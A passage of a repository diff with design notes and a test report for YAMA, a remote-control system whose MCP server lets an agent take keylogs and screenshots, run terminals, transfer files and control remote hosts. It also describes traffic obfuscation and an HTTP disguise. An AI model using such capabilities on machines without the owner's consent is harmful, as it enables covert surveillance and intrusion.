- 会话已被回收(闲置 >300s)、shell 已退出、或 `session_id` 拼错。重新 `terminal_open`。
- `terminal_close` 的 `-32002` 特指 **session_id 不匹配**(防串用)。
### 10.4 `-32003` 设备忙
- 单设备单终端:同 host 已有终端会话(持久或一次性)在飞。等它结束或 `terminal_close`。
- 紧接 `terminal_close`(会话 busy 时)后立刻 `terminal_open` 可能偶发 `-32003`:busy 会话的关闭是「标记 closed + 交等待线程清理」,清理完成前有极短窗口。重试一次即可,非死锁。
### 10.5 stdout 里出现命令本身 / 哨兵
- 命令本身回显 = ConPTY 输入回显,已由 `StripEchoedCommand` 服务端剔除(§2.4)。若仍出现,检查是否该行因编码(非 PTY 老管道的 GBK)与 `echoedLine` 字节不一致而 `find` 不到——老管道本应无回显。
- 哨兵 `__MCP_DONE_...` 出现 = 哨兵截断/清洗异常,通常意味着命令含 `&|` 破坏了控制操作符链(持久终端会提前 `-32012` 拒绝,一次性会 `-32012` 拒绝五元字符)。
### 10.6 中文/乱码
- 输出乱码:检查 `isPty` 与 `cp` 是否匹配(PTY=UTF-8,老管道=GBK)。
- **`get_audit_log` 中文正确**:`BuildGetAuditLog` 用 `ToUtf8(type/time/msg, 936)` 把 GBK 转 UTF-8,jsoncpp 输出 `\uXXXX` 转义,客户端解析后中文正常(已实测 `MCP持久终端`/`MCP命令执行`/`操作成功`/`主机上线` 等均无乱码)。
### 10.7 会话泄漏 / 子链接不关
- 三个擦除点:`WaitTermCommand`(closed/超时)、`CloseTermSession`、`SweepIdleTerminals`;以及 `OnTerminalClosed` 对**空闲持久会话**的直接擦除(§5.3)。排查时确认 shell 退出路径 `OnTerminalClosed` 是否命中、`COMMAND_NEXT` 是否漏发导致输出永不回流。
---
## 11. 关键源文件索引
| 文件 | 内容 |
|---|---|
| `server/2015Remote/McpServer.h` | `TermSession` 结构、`BeginTermOpen/Command/WaitTermCommand/CloseTermSession/SweepIdleTerminals` 声明、`m_terminalEnabled` |
| `server/2015Remote/McpServer.cpp` | `BuildExecCommand`(~1946)、`BuildTerminalOpen/Exec/Close`(~2345)、状态机方法(~2660)、`FindSentinel`(~2569)、`StripEchoedCommand`(~1935)、`SendTerminalCommandLine`(~2192)、`CleanTerminalOutput`(~2206)、`ResolveTerminalSessionHost`(~2160) |
| `server/2015Remote/McpSettingsDlg.h/.cpp` | `IDC_MCP_TERMINAL` 复选框、回填/落盘 `McpTerminal` |
| `server/2015Remote/2015RemoteDlg.cpp` | 启动读 `McpTerminal` → `SetTerminalEnabled` |
> 构建由 VS2019(MSBuild v143)完成;项目工具集 v142,无法在外部环境构建。
+166
View File
@@ -0,0 +1,166 @@
# YAMA MCP 服务测试报告
- 日期:2026-10-25(两轮:本机回环 + 虚拟机复测)
- 环境:
- 第1轮:Debug 服务端 `Yama_x64d.exe` + 本机被控端 `ghost.exe`(Windows 11,双显示器)
- 第2轮:同一 Debug 服务端 + VirtualBox 虚拟机被控端(`DESKTOP-A55C0OI`,Windows 10 19045,单显示器 1718x920,clientType=MDLL)+ 重启后的本机被控端
- 配置:`Bin\settings.ini`(McpEnabled=1,McpPort=6545,McpBind=127.0.0.1,McpReadonly=0,全部 `Mcp*` 开关开启)
- 方法:Python 直连 `http://127.0.0.1:6545/mcp`(JSON-RPC 2.0),辅以 `tools/mcp_smoke.ps1`、审计日志、`get_client_log`、代码审读交叉验证
- 敏感操作约束:删除类操作仅针对本次自建的临时文件/目录(本机 `%TEMP%\yama_mcp_test`、VM 同名目录),测试后已全部清理
---
## 0. 复核与处置(同日二次复核)
复核方式:逐条回到源码确认现象与根因,再在 Debug 实例(`Bin\Yama_x64d.exe` + 本机 `ghost.exe`,Windows 11 双屏 ConPTY 客户端)上端到端复现与验证修复。复核用的客户端配置临时改为直连本机(`x64\Debug\settings.ini`:`master=127.0.0.1`、`ghost=6543`、`UseFrp=0`,原文件备份为 `settings.ini.bak_mcptest`);修复后在 Debug 实例上 `tools/mcp_smoke.ps1 -SearchPath C:\Windows\Fonts` **37/37 通过**。
| 编号 | 复核结论 | 处置 | 验证证据(修复后实测) |
|---|---|---|---|
| P1 | 属实 | **已修**。ConPTY 下哨兵改为独立一行(`@echo off & <cmd>` + 单独 `echo __MCP_DONE_<nonce>__%errorlevel%`);会话因超时被销毁后留 600s 墓碑,报错文案区分「被销毁」与「id 写错」。老客户端(非 PTY)保持单行 `&&` 形态,行为不变。 | `rem hello` → exit 0(原 100% 超时);`cmd /c exit 0` → exit 0;`cmd /c echo abc` → `abc`。超时路径:`ping -n 40` 配 `timeout_ms=3000` → `-32001`,随后同一 session → `-32002 "Terminal session was destroyed after this command timed out (waited 3000 ms); call terminal_open again"`;假 id → `-32002 "Terminal session not found: <id> (call terminal_open first)"`;销毁后 `terminal_open` 立即成功 |
| P2 | 属实(结论成立),但「10 个纯本地 DB 读取」的**表述有误**——被挡的是经主连接向目标机取数据的远程机器管理工具(`host_list_processes/windows/network_state/scheduled_tasks/services/…`、`host_get_hosts_file` 等,都走 `BeginPending`),属 single-flight 设计;纯服务端本地工具(`get_server_status`、`get_audit_log`、`host_set_remark` 等)不受影响 | **已修**(选了「快速失败」):文件传输加 60s 停滞看门狗,`timeout_ms` 内只要持续有数据就不受影响;默认超时保持 600s(避免误杀大文件)。互斥豁免未做——远程工具之间互斥本身就是有意的。 | 不存在路径 `C:/no_such_dir_zzz_mcp` → **60096ms** 失败,`-32001 "File transfer stalled: no data received for 60s (the remote path is probably missing or inaccessible; verify it with list_files first)"`(原为 `ms=600004`);挂起期间 `get_server_status` 2120ms OK、`get_audit_log` 20ms OK,远程 `list_files` 仍 `-32003`;失败后主机立刻释放,冒烟脚本随即 37/37 通过。**2026-10-25 二次修**:新客户端在建立传输子链接前就回 `TOKEN_DOWNLOAD_ERROR`(173),`download_file` 不存在路径现在 **0.07s → `-32009`**(`Remote path does not exist: ... (win32=3)`),60s 停滞看门狗降级为兜底 |
| P3 | 属实 | **已修**。`%errorlevel%` 在回显文本里是字面模板而非数字,`FindSentinel` 改为「从后往前找第一个『标记+数字』」,不再依赖行首。 | `ver` → exit 0(原 1);`nosuchcmd_zzz` → 9009;`cmd /c exit 0` → 0;`set NOVAR` → 1 |
| P4 | 属实 | **已修**。清洗改为三段:删到「命令行回显」结束(顺带清掉 shell 启动画面/提示符)→ 删哨兵行回显 → 按 nonce 擦掉渲染残留的哨兵文本;另修 `StripAnsi` 对 `OSC…ESC\` 的收尾(会残留 `\`)。设计见 `docs/Mcp_Design.md` §12.1。 | 上述命令的 stdout 全部无 `@echo off`、无 `__MCP_DONE_*`、无提示符/空行;`type` 报错文本无残留反斜杠 |
| P5 | 属实 | **已修**(`McpInternal.cpp` 注解表 `get_activity_history` → `openWorld=true`,附代码注释说明它经 `COMMAND_QUERY_ACTIVITY` 触达远程主机) | 代码审查 + 与 §10.2 口径一致 |
| P6 | 属实(`OpenSCManager` 权限不足,客户端失败分支回普通消息包) | **已修**:新增 `TOKEN_SERVICE_ERROR`(170),客户端 `SendServicesList` 失败时回 `[170][win32:4]`(并保留原 `ClientMsg`,老服务端行为不变);服务端转译成 `-32010`,文案点明需要管理员权限 | 非提权客户端 `list_services` → **268ms `-32010`**(`Failed to enumerate services: access denied (win32=5). service enumeration requires the client to run elevated (administrator)`;原为 20s `-32001`) |
| P7 | 属实 | **已修**(文档):`docs/Mcp_Design.md` §12 补齐 `-32007`/`-32008`/`-32009` 并注明 `-32008` 的四类语义 | 文档核对 |
| P8 | 属实 | **已修**:新增 `TOKEN_FILE_LIST_ERROR`(171) / `TOKEN_REG_ERROR`(172),客户端失败分支回 `[token][win32/lstatus:4]`;服务端按 `2/3 → -32009`、`5 → -32010` 转译,空目录/空键仍返回成功空列表 | `list_files C:\no_such_dir_xyz` → **0.22s `-32009`**、`list_files C:\System Volume Information` → **0.06s `-32010 (win32=5)`**;`list_registry HKLM\Software\NoSuchKeyXYZ` → **0.10s `-32009`**、`HKLM\SAM\SAM\Domains\Account` → **0.08s `-32010`**;空目录/正常目录/正常键返回不变 |
**结论**:报告的问题清单与根因分析全部成立(仅 P2 有一处表述需要更正);P1/P3/P4(同一处哨兵机制)与 P5/P7、P2 的「长时间锁定」已在服务端修复并端到端验证,P6/P8 已在放开「客户端可小改」后按结构化失败回报修复(见上表,均为亚秒级返回)。
---
53 个工具全部可达,冒烟脚本 32/32 通过。功能面整体质量良好;VM 复测轮验证了第1轮受条件所限未能覆盖的远程控制族(11/11)、跨机文件往返、真实 kill 目标校验,并把第1轮两大疑难问题(exec_command 超时、list_services 超时)推进到根因定性。
最终问题清单:**2 个高优先级**(哨兵机制对吞行命令必然超时并销毁会话;download_file 失败路径长时间锁定主机)、**3 个中优先级**(exit_code 不可靠、stdout 内部实现泄漏、get_activity_history 注解错误)、**3 个低优先级**(list_services 权限失败无解释、错误码缺漏/-32008 复用、路径类工具静默空结果)。每条问题的逐条复核结论、处置与修复后实测证据见 §0。
## 2. 问题清单
### P1(高):哨兵机制——「吞行」命令 100% 超时,且销毁持久会话
哨兵方案:发送 `@echo off & <cmd> 2>&1 && echo __MCP_DONE_<nonce>__0 || echo __MCP_DONE_<nonce>__1`,服务端扫描输出定位哨兵取退出码(`McpServer.cpp:2721/3027` 发送、`FindSentinel :6195` 匹配)。
缺陷:**任何会消费行内剩余文本的命令都会把哨兵一起「吞掉」**,导致哨兵永远不出现:
| 命令 | 结果 | 机制 |
|---|---|---|
| `rem hello` | 超时 | `rem` 把整行剩余部分当注释,`&& echo 哨兵` 不执行 |
| `cmd /c exit 0` | 超时(2/2 会话复现) | `cmd /c` 把 `&& echo 哨兵` 一并传给子进程,子进程 `exit` 即退 |
| `if`/`for` 同理 | 预期同 | 同类吞行语句 |
后果链:20s 等待 → `-32001 Timeout waiting for command output`;**持久终端路径上 `WaitTermCommand` 超时直接销毁会话**(`McpServer.cpp:6400` 附近),后续所有 `terminal_exec` 报 `-32002 "Terminal session not found, not ready, or busy"`——报错文案无法区分「会话已被超时销毁」与「id 写错」。
- 正常对照:`whoami` 35/35 成功(62-217ms)、`set NOVAR`(失败有哨兵)正确返回 exit=1、`cmd /c echo abc`/`cmd /c ver`(子进程有输出)成功。
- 建议:
1. 哨兵改为独立行下发(先发命令行,再单独发 `echo __MCP_DONE_...__0 || echo ...` 第二行,或用 `(%cmd%) & (echo sentinel)` 子shell包裹);
2. 会话被超时销毁后,`terminal_exec` 对该 session_id 返回专门的错误文案(如 "session destroyed after timeout; re-open");
3. 文档标注 `exec_command`/`terminal_exec` 不支持 `rem`、`cmd /c` 等吞行命令。
**复核(2026-10-25)**:属实。已按建议 1、2 修复并验证(PTY 下哨兵独立成行;超时销毁会话留墓碑 + 专用文案),文档见 `docs/Mcp_Design.md` §12.1。老客户端(非 PTY)仍为单行形态,故「吞行命令」限制只适用于老客户端。
### P2(高):`download_file` 对不存在路径无快速失败,默认 600 秒锁定整台主机
- 不存在的远程路径会等满默认 `timeout_ms=600000`(实测审计日志 `ms=600004`),期间该主机**所有**远程机器管理工具 `-32003`(single-flight 跨工具互斥),含 `host_list_processes/windows/network_state/scheduled_tasks/services`、`host_get_hosts_file` 等**经主连接向目标机取数据**的工具。一次误路径 = 10 分钟整机不可管理。(初版报告把这批工具写成「10 个纯本地 DB 读取」,属表述错误:它们都要触达目标主机,被互斥挡住是设计;纯服务端本地工具如 `get_server_status` / `get_audit_log` / `host_set_remark` 不受影响,二次复核已实测确认。)
- **timeout_ms 参数本身工作正常**(显式 8000 → 实测 8031ms 终止),问题是默认值过长 + 缺路径检测。
- 建议任选:客户端枚举路径时快速失败(最优);或下调默认超时(如 60s);或本地读取类工具豁免 BeginPending 互斥。
### P3(中):`exit_code` 不可靠(哨兵匹配到回显模板)
- `ver`(成功命令)返回 `exit_code=1`。根因:ConPTY 80 列回显折行使**回显的命令模板**中 `|| echo __MCP_DONE_<nonce>__1` 片段落到行首,`FindSentinel`(`McpServer.cpp:6195`)要求哨兵前是 `\n`/`\r`,于是 rfind 命中的是回显片段而非真实执行的哨兵。
- 影响:依赖 exit_code 的自动化会把成功当失败。与 P1 同根(哨兵与回显混在同一输出流)。
- 建议:随 P1 一起修(独立行哨兵可同时解决);短期可在 FindSentinel 中排除与已发送命令行重叠的匹配位置。
**复核(2026-10-25)**:属实。已随 P1 修复:`%errorlevel%` 回显是字面模板、`FindSentinel` 改为从后往前找「标记+数字」,实测 `ver`→0、`nosuchcmd_zzz`→9009。
### P4(中):`stdout` 泄漏内部实现(回显命令行 + 哨兵文本)
- `terminal_exec`/`exec_command` 返回的 stdout 中可见 `@echo off & ...` 命令回显、`__MCP_DONE_<nonce>__0/1` 哨兵字样(多例复现,如 `cmd /c echo abc` 的 stdout 含 `__0 || echo __MCP_DONE_2c0fbce0__1\nabc`)。
- 原因:ConPTY 回显折行后 `StripEchoedCommand` 的整行匹配失效;哨兵截断点之后的清洗也不覆盖片段。
- 影响:输出不可直接展示给最终用户;nonce 泄漏无安全风险(一次性),但属于实现细节泄漏。
- 建议:清洗逻辑改为「剔除从行首到哨兵行之前的全部回显块」,而非精确整行匹配。
**复核(2026-10-25)**:属实。已修:删到命令行回显结束 → 删哨兵行回显 → 按 nonce 擦掉渲染残留的哨兵文本;另修 `StripAnsi` 对 `OSC…ESC\` 收尾会残留 `\` 的问题。设计见 `docs/Mcp_Design.md` §12.1。
### P5(中):`get_activity_history` 注解登记错误
- `McpInternal.cpp:333` 登记 `openWorldHint=false`,但该工具经 `ctx->Send2Client(COMMAND_QUERY_ACTIVITY)` 触达远程主机(`McpServer.cpp:2249`),与代码注释及 `docs/Mcp_Design.md` §10.2 口径矛盾。一行修复。
**复核(2026-10-25)**:属实,已改 `openWorld=true` 并加注释说明理由。
### P6(低):`list_services` 在非提权被控端上 20s 超时且无解释
- 第1轮本机被控端(非提权):3/3 超时。客户端日志定位根因:`ServicesManager.cpp:31 Get service list failed`——`OpenSCManager(SC_MANAGER_ALL_ACCESS)` 权限不足,失败分支回传普通消息包而非 `TOKEN_SERVERLIST`,服务端等满 20s。
- 第2轮 VM 被控端(权限足够):**成功**(服务列表正常返回)——反证根因即权限。
- 建议:客户端失败分支回传带失败标记的 `TOKEN_SERVERLIST`,服务端转译为 `-32005`/明确错误文本;文档标注需要管理员权限。
**复核(2026-10-25)**:属实(`OpenSCManager` 权限不足 → 客户端失败分支回普通消息包,服务端只能等到超时)。修它要改客户端,按「暂不动客户端」原则搁置。
### P7(低):错误码表缺 -32007/-32008/-32009,且 -32008 复用多种语义
- `docs/Mcp_Design.md` §12 只登记到 -32006。-32008 同时用于:元字符、`&|`/控制字符、老客户端格式、多显示器不支持(4 处)。后者语义近 `-32005 Not supported`。
**复核(2026-10-25)**:属实。`docs/Mcp_Design.md` §12 已补齐 `-32007`/`-32008`/`-32009`,`-32008` 行内注明其四类语义(修正参数 vs 能力限制的处理方式不同)。
### P8(低):路径类工具对不存在路径静默返回空
- `list_registry`(注册表,两轮均复现)与 `list_files`(文件列表)对不存在的路径均返回空列表 + `isError:false`,无法区分「为空」与「不存在」。建议返回错误或加 `exists:false`。
**复核(2026-10-25)**:属实,但服务端拿到的响应与「空目录/空键」完全一致,无法在服务端区分;需客户端回报错误码 → 按「暂不动客户端」原则搁置。
### 观察项(不计入问题)
- `host_list_network_state` 的 state 为本地化文本("连接"),按 `ESTABLISHED` 过滤会失配;`kill_network_connection` 内部已归一化(stateName=ESTABLISHED, killable:true),dry_run 对真实四元组校验通过。
- `remote_open` 双显示器拒绝(-32008)文案清晰、即时;VM 单屏下全链路正常。
- 第1轮 exec_command 11/12 超时在两台被控端重启后均未复现(VM 5/5、重启后本机 5/5+30/30 连发通过);当时环境长时间运行+大量会话开关,疑与资源/状态积累有关,未能复现定位。鉴于 P1/P3 已证哨兵机制脆弱,建议优先落实哨兵改造后观察。
## 3. 通过项(摘要)
| 领域 | 结果 |
|---|---|
| 传输层 | 401/413/404、-32700/-32600/-32601、ping、status 不泄露 token —— 全过 |
| 冒烟脚本 | 32/32 PASS |
| 主机列表/分页/过滤 | 分页 clamp、越界、group/os/client_type、totalAll 保留 —— 全过 |
| 批量工具 | ids>51 拒、写工具拒批量 —— 全过 |
| exec 安全门 | 白名单+词边界(`dir` 过/`dirx` 拒/`echo` 拒)、`&`/CRLF -32008、空命令 -32602 —— 全过 |
| 文件传输 V2 | 上传 11 项(中文文件名、1MB SHA-256、620 文件递归、overwrite 跳过)、下载 SHA-256、**跨机往返(本机↔VM)SHA 一致** —— 全过 |
| search_file | min_size/name_only/子串/非法时间 -32602 —— 全过 |
| 服务端本机工具 | audit 分页+过滤、status 一致性、`host_set_remark` GBK 边界(63B 过/66B 拒/emoji 拒)—— 全过 |
| 只读主机工具(双端) | get_screenshot(JPEG magic 双端过)、get_keylog、list_registry 子键、list_windows、get_activity_history —— 全过 |
| **remote 控制族(VM,第2轮新增)** | open→mouse(move/click/scroll)→keyboard(type/key_press)→clipboard→close→幂等→死会话拒绝 —— **11/11** |
| chat(双端) | 本机 6/6 + VM 4/4(open/send/wait timed_out/close)—— 全过 |
| 终端持久会话 | open/exec/close 生命周期、echo/whoami/cmd /c echo 等有输出命令 —— 全过(异常见 P1/P3/P4) |
| 写工具 | watch_level 1↔0 往返、非法值拒绝 —— 过 |
| kill_network_connection | dry_run 假四元组 -32009、**真实四元组校验通过**(VM 实测)—— 过 |
## 4. 修复优先级建议
1. **哨兵改造**(P1/P3/P4 同根一次修):独立行哨兵 + 回显块整体剔除 + 超时销毁会话的专用错误文案;
2. P2:download 快速失败或默认超时下调 + 本地读取豁免互斥;
3. P5:一行注解修复;
4. P6:客户端服务枚举失败结构化回传;
5. P7/P8 随批次顺手处理。
**复核后状态**:1 → 已修(§0 P1/P3/P4);2 → 已修「停滞 60s 快速失败」,默认超时未下调、互斥豁免未做(远程工具互斥是有意设计,本地工具本就不受限);3 → 已修;4 → 已修(`TOKEN_SERVICE_ERROR` → `-32010`);5 → P7 已修(文档),P8 已修(`TOKEN_FILE_LIST_ERROR`/`TOKEN_REG_ERROR` → `-32009`/`-32010`)。
## 附录 A:错误码实测一览
| 码 | 场景 | 实测 |
|---|---|---|
| -32001 | 等待超时 | 吞行命令、非提权 list_services、download 600s/8s 均复现(复核后:吞行命令不再超时;download 停滞 60s 即失败并说明原因) |
| -32002 | 离线/不存在 | 不存在 id 复现;会话销毁后 terminal_exec 文案混用(见 P1)→ 复核后已拆成「被超时销毁」与「id 写错」两种文案 |
| -32003 | 单设备互斥 | 挂起期间跨工具复现(含远程机器管理工具;**纯服务端本地工具不受影响**,复核已实测) |
| -32005 | 不支持 | 代码审查确认(无 LNX/MAC 主机可测) |
| -32006 | 策略拒绝 | 冒烟历史覆盖(McpKeylog=0 → CALL_DENIED) |
| -32007 | 白名单拒绝 | `echo`/`set` 复现 |
| -32008 | 元字符/&\|/老格式/多显示器 | 双屏 `remote_open`、`dir & whoami` 复现 |
| -32009 | kill 目标不存在 | dry_run 复现;真实四元组通过 |
| -32602 | 参数错误 | 备注 66B、level=99、非法时间等复现 |
## 附录 B:审计日志行为
- `CALL_OK`/`CALL_FAIL` 含 `tool= ms= bytes=`;600s 挂起精确记录 `ms=600004`;`get_audit_log` 过滤与实际一致。
## 附录 C:测试残留与清理
- 全部测试数据(本机 `%TEMP%\yama_mcp_test\src|vm_target|dl_vm` 与 VM 同名目录)测试后已删除/验证删除。
- `settings.ini` 未做修改(本轮未动开关),第1轮已恢复备份。
- VM 会话中因超时被销毁的终端已随服务端状态清理;我启动的本机 ghost.exe 已关闭,Debug 服务端保持用户启动状态。
+334
View File
@@ -0,0 +1,334 @@
# 传输层单向 TLS 加密设计(按需加密)
> 版本:v0.7 · 状态:**Go 服务端 + Windows/Linux 客户端已实现并验证;Linux 客户端支持下发即时热切换;MFC 主控端见 `TransportTLS_MFCServer_Design.md`;macOS/Android 未接入** · 日期:2026-10-28(Linux 客户端接入 + 热切换)
> 目标:让 YAMA 设备端口(TCP 6543)在继续兼容老客户端(明文/XOR)的同时,允许新客户端在拿到证书后按需开启**单向 TLS** 加密传输。
> 本期范围:**Go 服务端(`server/go`)+ Windows 客户端 + Linux 客户端**。
>
> 需求原文(三点,逐一对应下文):
> 1. 新客户端**默认不加密**,行为与老客户端完全一致;
> 2. 某些高要求场景,管理员「颁发一个证书给该客户端 + 重启」,该客户端即改走加密;
> 3. 服务端同一端口(6543)同时兼容明文与 TLS 两种客户端,老客户端零改动。
## 1. 目标与范围
### 目标
- 同一 `6543` 端口上,服务端自动区分「明文客户端」与「TLS 客户端」,按连接路由。
- 加密是**按部署、按客户端开关**的:证书(注册表值或文件)在 → TLS;证书不在 → 明文(与老客户端一致)。
- 老客户端(无证书概念)行为不变、零改动。
- 满足 Measure 1 的「传输层真加密 + 抗重放」目标(对 TLS 客户端而言)。
### 非目标(Non-goals,本次不做)
- 不做 **mTLS / 客户端证书**:单向 TLS 不验证客户端证书,客户端身份仍由隧道内的现有登录(`PwdHmac` V1 / `ECDSA` V2)承担。
- 不做传输层 PSK(`YAMA_TRANSPORT_KEY`)方案——本设计改用证书,更贴合「颁发证书」的运维模型。
- 不改应用层协议(flag 帧格式 / XOR / zstd),不做「TLS 内去掉 XOR」的二次精简(后续可选)。
- Windows 客户端**不做**加密开关的运行时热切换(证书只在进程启动时读取一次,改配置需重启——这正是需求)。Linux 客户端例外:服务端下发 166/167 后立即重载信任锚并重连切换(§6.6),语义差异见该节。
- macOS / Android 客户端的 TLS 接入不在本期(Linux 客户端已按同一模式接入,见 §6.6)。
- 不做 **MFC 服务端(`server/2015Remote`)的 TLS 接入**——本期只做 Go 服务端(`server/go`),MFC 主控端延后到阶段 3。
## 2. 现状与复用
### 2.1 当前传输(已核实)
服务端 TCP 传输链路:`server/go/server/server.go` `acceptLoop()`(329–360 行)`Accept` 后 `go handleConnection(conn)`;`handleConnection()`(363–425 行)读入 `ctx.InBuffer`,交给 `protocol.Parser`。
`server/go/protocol/parser.go` `Parse()`(51–85 行):
1. 可选剥离 HTTP-mask(`POST /...\r\n\r\n` 外壳,`common/mask.h` 的 `HttpMask`);
2. `parseHeader()`(88–140 行)调用 `CheckHead()` 识别协议;
3. `parsePacket()`(143–225 行)解头 + XOR 解码 + zstd 解压。
`server/go/protocol/header.go` `CheckHead()`(149–165 行)对前 12 字节依次尝试 8 种头混淆 × 4 种魔数,命中即得 `FlagType`:
| FlagType | 魔数 | 首字节 |
|---|---|---|
| FlagHell(4) | `HELL` | `H`=0x48 |
| FlagShine(1) | `Shine` | `S`=0x53 |
| FlagFuck(2) | `<<FUCK>>` | `<`=0x3C |
| FlagHello(3) | `Hello?` | `H`=0x48 |
| HTTP-mask | `POST ` | `P`=0x50 |
> 注意:上表「首字节」是**解密后**的魔数首字节。实际线上,客户端(`common/header.h` 的 `GetHead`)会用 `time() % 12` 随机选一个混淆方法对前 4 字节魔数加密(仅在 `superAdmin` 命中的 `HellEncoder` 路径;默认 `ProtocolEncoder` 直接发明文 `Shine`)。因此**原始首字节可能是任意值**,包括 `0x16`。这正是 TLS 检测不能只看前两字节、必须再加一字节判据的原因(见 §3.1)。
当前「加密」为 `codec.go` 的 `xorDecoder16`(XOR + 两轮伪随机交换,密钥是明文带内 1~2 字节)+ `header.go` 的 V0~V6 头混淆——**等于明文**。这正是 Measure 1 要解决的。
### 2.2 客户端登录(已核实,隧道内照常)
- V1:`client/KernelManager.cpp:1857` 从配置读 `settings/PwdHmac`(预计算摘要),服务端 `auth.go:240` `VerifyMessage(YAMA_PWD, passcode, hmacSig)` 校验。`YAMA_PWD` 只存在服务端,客户端只有摘要,不持有 `YAMA_PWD`。
- V2:`auth.go:188` ECDSA P-256 验签(`v2:BASE64`),客户端持私钥、服务端持公钥。
### 2.3 关键结论(本设计的基础)
**TLS 作为「透明传输包装」,应用层协议一行不改。** 即:
```
明文客户端: [TCP] = flag 帧 + XOR payload + zstd
TLS 客户端: [TCP][TLS] = { flag 帧 + XOR payload + zstd }
```
服务端 `parser.go`/`codec.go`/`header.go`/handler 全部不动;TLS 客户端解密后的字节流就是同一套协议。唯一新增的是**连接建立时的 TLS 检测与解包**。XOR 套在 TLS 里冗余但无害,保留它换来「应用协议零改动、老新客户端共用同一套代码」。
## 3. 总体方案
### 3.1 同端口共存 + 首字节检测
服务端在 `handleConnection` 开头(`Accept` 之后)偷看连接开头 6 字节:
- 命中 `0x16 0x03 … 0x01`(TLS 握手记录 + TLS 版本号 + 握手类型 ClientHello)→ 交给 `tls.Server` 解包;
- 其它 → 走现有明文路径。
**为何要看第 6 字节**:客户端会随机混淆魔数头(见 §2.1),所以明文连接的前两字节**可能**恰好是 `0x16 0x03`。但混淆只作用于前 4 字节魔数,字节 5 对混淆后的 `HELL` 头恒为 `0x00`,对明文 `Shine`/`POST` 变体是 ASCII 字符——**永远不会是 `0x01`**;而任何 TLS 握手记录里,字节 5 就是握手消息类型,ClientHello 恒为 `0x01`。于是 `0x16 0x03` 加 `b[5]==0x01` 三重判据让误判概率趋近于零。
```
accept
├─ 现有 MaxConnections / per-IP 限流(保持,先于 TLS 握手,廉价拒绝 + 抗握手 DoS)
├─ peek 3 字节
│ ├─ 0x16 0x03 → tls.Server(conn, tlsCfg)(惰性握手,首次 Read 触发)
│ └─ 其它 → 明文
└─ handleConnection(conn) // 不区分明文/TLS,tls.Conn 实现 net.Conn
```
### 3.2 客户端行为
客户端启动时检查「证书文件是否存在」:
- 不在 → 明文(与老客户端完全一致,默认即此);
- 在 → 所有出站 TCP 连接(主连接 + screen/terminal/file 子连接)统一走 TLS。
### 3.3 架构图
```
┌──────────── 被控端(客户端,无证书) ────────────┐
│ TCP ── flag+XOR+zstd ─────────────────────────► │ 明文
└───────────────────────────────────────────────────┘
┌──────────── 被控端(客户端,有证书) ────────────┐
│ TCP ── TLS ── { flag+XOR+zstd } ──────────────► │ 加密
└───────────────────────────────────────────────────┘
│
▼
┌──────────────────────┐
│ 服务端 6543 │
│ peek 首字节路由 │
│ ├─ 0x16 0x03 → TLS │
│ └─ 其它 → 明文 │
│ ── 同一套 parser/handler │
└──────────────────────┘
```
## 4. 证书模型(单向 TLS)
- 服务端持有一张**服务端证书 + 私钥**(可自签名,或由自建 CA 签发)。
- 客户端持有**信任锚证书**(CA 证书,或自签名服务端证书本身)用于在握手时校验服务端。
- 「颁发证书给某客户端」= 把信任锚证书投递到该客户端(**注册表值**,见 §6.1/§9.3)。证书是**共享的信任锚**(不是每个客户端一张唯一证书),「颁发」的本质是**决定给哪个客户端开加密**。
- 单向 TLS **不认证客户端身份**;客户端身份仍由隧道内的登录(V1 `PwdHmac` / V2 ECDSA)承担。
- 信任锚首选存注册表 `Software\<exehash>\settings\tls_cert`(REG_SZ 直接存 PEM 正文);兼容旧方式:`settings.ini` `[settings] tls_cert` 路径,或 exe 同目录 `yama-ca.pem` 文件。
## 5. 服务端改动
### 5.1 配置(`server/go/server/server.go` `Config`)
新增两个字段,均为证书/私钥文件路径;空 = 禁用 TLS(仅明文,向后兼容):
```go
TLSCertFile string // 服务端证书(PEM)
TLSKeyFile string // 服务端私钥(PEM)
```
`cmd/main.go` 读取环境变量(沿用现有 `YAMA_*` 命名):
```go
cfg.TLSCertFile = os.Getenv("YAMA_TLS_CERT")
cfg.TLSKeyFile = os.Getenv("YAMA_TLS_KEY")
```
仅当两者都非空才构建 `*tls.Config`;否则 `s.tlsCfg == nil`,`acceptLoop` 走纯明文。
### 5.2 `tls.Config`
```go
tlsCfg := &tls.Config{
Certificates: []tls.Certificate{cert},
MinVersion: tls.VersionTLS12,
// 单向 TLS:不设 ClientAuth / ClientCAs
}
```
### 5.3 `handleConnection` 检测 + 回放
标准 peek 回放:`bufio.Reader` 预读 6 字节,封装成 `bufferedConn`(实现 `net.Conn`,`Read` 委托给 `Reader`),判断后把已读字节一并交给目标。嗅探本身设了 `ReadTimeout` 截止,超时/EOF 则退回原始 conn 走明文,由读循环处理:
```go
func (s *Server) wrapTLS(conn net.Conn) net.Conn {
br := bufio.NewReader(conn)
_ = conn.SetReadDeadline(time.Now().Add(s.config.ReadTimeout)) // 嗅探受超时约束
hdr, err := br.Peek(6)
_ = conn.SetReadDeadline(time.Time{})
if err != nil {
return conn // 超时/EOF:走明文,交由读循环处理
}
bc := &bufferedConn{Conn: conn, r: br}
if isTLSClientHello(hdr) { // 0x16 0x03 且 b[5]==0x01
return tls.Server(bc, s.tlsCfg) // 握手惰性,首次 Read 触发
}
return bc
}
```
### 5.4 握手超时
`handleConnection` 首次 `conn.Read` 会触发 TLS 握手,而它已按 `ReadTimeout` 设了 `SetReadDeadline`,因此握手天然受 `ReadTimeout` 约束,无需额外机制。per-IP 限流(现有)继续在握手前生效,压制握手 DoS。
### 5.5 明确不动的部分
- `parser.go` / `codec.go` / `header.go`:**零改动**。
- `handleConnection` / `processData` / handler 栈:**零改动**(`tls.Conn` 满足 `net.Conn`)。
## 6. 客户端改动
### 6.1 证书检测
启动时(连接前)按优先级找信任锚:① 注册表 `Software\<exehash>\settings\tls_cert`(REG_SZ 存 PEM 正文)→ ② `settings.ini` `[settings] tls_cert` 路径 → ③ exe 同目录 `yama-ca.pem`。找到即走 TLS,否则明文。实现:`client/TlsChannel.cpp` 的 `ReadTrustAnchor()` + `TlsEnabled()`(`std::call_once` 惰性加载、线程安全、幂等)。
Linux 无注册表,信任锚按:① `$XDG_CONFIG_HOME/ghost/yama-ca.pem`(默认 `~/.config/ghost/yama-ca.pem`)→ ② 程序同目录 `yama-ca.pem`。文件**存在即视为已配置**:读取/解析失败一律拒绝连接(fail-closed)。实现:`client/TlsChannelLinux.cpp`。
### 6.2 TLS 栈选型(已定:Schannel)
